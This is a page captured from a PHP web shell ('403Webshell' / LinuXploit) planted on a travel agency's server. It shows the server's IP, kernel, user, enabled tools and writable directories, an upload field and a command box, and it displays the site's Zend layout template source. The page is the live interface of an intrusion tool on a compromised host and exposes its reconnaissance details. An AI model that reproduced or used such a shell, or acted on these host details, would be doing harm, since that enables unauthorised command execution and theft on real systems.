403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vanguarddmc.com/application/layouts/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vanguarddmc.com/application/layouts/scripts/layout-promotion.phtml
<?php 
$object = Zend_Controller_Front::getInstance();
$options = $object->getParam('bootstrap')->getOption('bootstrap');
$baseUrl = $options['siteUrl'];
$siteName = $options['siteName'];
$tollfreenumber = $options['tollfreenumber'];
$whatsappnumber = $options['whatsappnumber'];
$modulename = $object->getRequest()->getModuleName();
//echo $modulename; 

//  $staticDataDomestic1 = $this->staticDataDomestic;
//   echo"<pre>"; print_r($staticDataDomestic1);die();

$controller = $object->getRequest()->getControllerName();
//echo $controller; die();
$action = $object->getRequest()->getActionName();
//echo $action; die();
define('CONST_PACKAGE_TRAVELER_MAX_ROOM', $options['CONST_PACKAGE_TRAVELER_MAX_ROOM']);
define('CONST_PACKAGE_TRAVELER_MAX_ADULT_IN_ROOM', $options['CONST_PACKAGE_TRAVELER_MAX_ADULT_IN_ROOM']);
define('CONST_PACKAGE_TRAVELER_MAX_CHILD_IN_ROOM', $options['CONST_PACKAGE_TRAVELER_MAX_CHILD_IN_ROOM']);
define('CONST_PACKAGE_TRAVELER_MAX_INFANT_IN_ROOM', $options['CONST_PACKAGE_TRAVELER_MAX_INFANT_IN_ROOM']);
$mydevice = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->getDevice();
$getMypopCookie = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->getMypopCookie('MyCookies'); // get the popup sessions
$contactDetail = Zend_Controller_Action_HelperBroker::getStaticHelper('Custom')->getContactDetailForFooter();
$tollfreenumber = ($contactDetail['phone']) ? $contactDetail['phone'] : $tollfreenumber;
$whatsappnumber = ($contactDetail['whatsapp_no']) ? $contactDetail['whatsapp_no'] : $whatsappnumber;
$countrycode = (isset($getMypopCookie['countrycode']) && $getMypopCookie['countrycode'] != '') ? $getMypopCookie['countrycode'] : '+91';
$getCountryFlag = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->getCountryCodeData($countrycode);
$session = new Zend_Session_Namespace('User');
 $commonBoxVal_ = Zend_Controller_Action_HelperBroker::getStaticHelper('custom')->getCommonBoxVal();
 //
$headerScript = (isset($commonBoxVal_['common_content_header']) && trim($commonBoxVal_['common_content_header']) != '') ? $commonBoxVal_['common_content_header'] : '';
 $headerScript1 = (isset($commonBoxVal_['common_content_header_1']) && trim($commonBoxVal_['common_content_header_1']) != '') ? $commonBoxVal_['common_content_header_1'] : '';
$headerScript2 = (isset($commonBoxVal_['common_content_header_2']) && trim($commonBoxVal_['common_content_header_2']) != '') ? $commonBoxVal_['common_content_header_2'] : '';
$headerScript3 = (isset($commonBoxVal_['common_content_header_3']) && trim($commonBoxVal_['common_content_header_3']) != '') ? $commonBoxVal_['common_content_header_3'] : '';
$footerScript1 = (isset($commonBoxVal_['common_content_footer_1']) && trim($commonBoxVal_['common_content_footer_1']) != '') ? $commonBoxVal_['common_content_footer_1'] : '';
$footerScript2 = (isset($commonBoxVal_['common_content_footer_2']) && trim($commonBoxVal_['common_content_footer_2']) != '') ? $commonBoxVal_['common_content_footer_2'] : '';
$footerScript3 = (isset($commonBoxVal_['common_content_footer_3']) && trim($commonBoxVal_['common_content_footer_3']) != '') ? $commonBoxVal_['common_content_footer_3'] : '';
$commonContent = (isset($commonBoxVal_['common_content']) && trim($commonBoxVal_['common_content']) != '') ? $commonBoxVal_['common_content'] : '';
 //echo "<pre>"; print_r($commonBoxVal_); die('test');
$commonmetaTitle = (isset($commonBoxVal_['metaTitle']) && trim($commonBoxVal_['metaTitle']) != '') ? trim($commonBoxVal_['metaTitle']) : $siteName;
        $commonmetaKeyword = (isset($commonBoxVal_['Keyword']) && trim($commonBoxVal_['Keyword']) != '') ? trim($commonBoxVal_['Keyword']) : $siteName;
        $commonmetaDescription = (isset($commonBoxVal_['Description']) && trim($commonBoxVal_['Description']) != '') ? trim($commonBoxVal_['Description']) : $siteName;
        $detailLayout = $this->detailLayout;
        //  print_r($detailLayout);

        $metaTitle = (isset($detailLayout['metaTitle']) && trim($detailLayout['metaTitle']) != '') ? $detailLayout['metaTitle'] : $commonmetaTitle;
        $metaKeyword = (isset($detailLayout['Keyword']) && trim($detailLayout['Keyword']) != '') ? $detailLayout['Keyword'] : $commonmetaKeyword;
        $metaDescription = (isset($detailLayout['Description']) && trim($detailLayout['Description']) != '') ? $detailLayout['Description'] : $commonmetaDescription;
       
$cssversion = 3.7;
//echo"<pre>"; print_r($session);die();
?>
    <!DOCTYPE html>
    <html>

    <head>
        
       <title><?php echo $metaTitle; ?></title>
       
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <meta name="viewport"
    content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width, height=device-height, target-densitydpi=device-dpi" />
  <!-- <link rel="shortcut icon" href="images/favicon.png"> -->
  <!-- Font Styles -->
  
        
  
            <style>
                .listing-box{margin-top: 50px;}
                
            </style>

  
        <?php if (($modulename == 'default') && ($controller == 'customer') && ($action == 'myprofile')) { ?>
           
        <?php } ?>
      <script>
            var SITEURL = '<?php echo $baseUrl ?>';
            var appmode = '<?php echo $options['appmode'] ?>';
            var dvc = '<?php echo ($mydevice == "mobile") ? "m" : "d" ?>';
        </script>
    </head>

    <body ng-app="Farohar">
        <div id="page">
            <?php
            
            echo $this->render("promotion_header.phtml");
            
            ?>

            <?php
            echo $this->layout()->content;
            echo $this->render("footer.phtml");
            ?>

        </div>

        
        <script type="text/javascript" src="<?php echo $baseUrl; ?>public/promotion/assets/js/jquery.min.js"></script>
  <script type="text/javascript" src="<?php echo $baseUrl; ?>public/promotion/assets/plugin/owl.carousel.min.js"></script>
   <script type="text/javascript" src="<?php echo $baseUrl; ?>public/promotion/assets/js/custom.js?v=<?= $cssversion ?>"></script>
  <!-- <script type="text/javascript" src="<?php echo $baseUrl; ?>public/promotion/assets/js/custom.js"></script> -->
<script type="text/javascript" src="<?php echo $baseUrl; ?>public/countrycode/script.js?v=<?= $cssversion ?>"></script>
 <script type="text/javascript" src="<?php echo $baseUrl; ?>public/js/autocomplete.js?v=<?= $cssversion ?>"></script>
         <script src="https://apis.google.com/js/platform.js" async defer></script>

<script>

            $('form').attr('autocomplete', 'off');
            $('input').attr('autocomplete', 'off');
            $(function() {
                $('.flightsearch').disableAutoFill();
            });


            function onSignIn(googleUser) {
                var profile = googleUser.getBasicProfile();

                var familyname = profile.getFamilyName();
                var name = profile.getName();
                var image = profile.getImageUrl();
                var email = profile.getEmail();
                var gid = profile.getId();

                $.ajax({
                    type: "POST",
                    url: "<?php echo $baseUrl; ?>customer/loginwith-google",
                    // dataType: 'html',
                    data: {
                        name: name,
                        email: email,
                    },
                    success: function(data) {
                        console.log(data);

                    }
                });


            }


            function signOut() {
                var auth2 = gapi.auth2.getAuthInstance();
                auth2.signOut().then(function() {
                    console.log('User signed out.');
                });
            }
        </script>
         <script>
            setTimeout(function() {
                $.getJSON('<?php echo $baseUrl; ?>public/data/dynamic/package_destinations.json', function(destinations) {

                    $(".destinationBox").autocomplete({
                        minLength: 3,
                        source: destinations,
                        autoFocus: true,
                        select: function(event, ui) {
                            var code = ui.item.code;
                            var cityid = ui.item.id;
               var destinationBox = ui.item.value;
                            // console.log(cityid);
                            $(".cityid").val(cityid);
                            $(".hcode").val(code);
              window.location.href = 'holidays/'+getSeoName1(destinationBox).toLowerCase()+'/';
                        }
                    });
                });
            }, 1000);

            setTimeout(function() {
                $.getJSON('<?php echo $baseUrl; ?>public/data/dynamic/package_destinations.json', function(visa) {

                    $(".visaSearchBox").autocomplete({
                        minLength: 3,
                        source: visa,
                        autoFocus: true,
                        select: function(event, ui) {
                            var code = ui.item.code;
                            var cityid = ui.item.id;
                            console.log(cityid);
                            $(".cityid").val(cityid);
                            $(".hcode").val(code);
                        }
                    });
                });
            }, 1000);
        </script>
<script type="text/javascript">
            $(document).on('click', '.ViewDetails', function() {
                var TraceId = $(this).attr('data');
                var journeyType = $(this).attr('journeyType');
                $('#myModalViewDetails').modal('show');
                $.ajax({
                    type: "POST",
                    url: "<?php echo $baseUrl; ?>flight/view-details",
                    dataType: 'html',
                    data: {
                        TraceId: TraceId,
                        journeyType: journeyType,
                    },
                    beforeSend: function() {
                        $("#ViewDetailsLoad").html('<div style="text-align:center;padding-top:30px;"><img src="<?php echo $baseUrl; ?>public/images/loader.gif"/></div>');
                    },
                    success: function(data) {
                        //                                    console.log(data);
                        $("#ViewDetailsLoad").html(data);
                    }
                });

            });
        </script>
    </body>


   
    
    </html>

 

Youez - 2016 - github.com/yon3zu
LinuXploit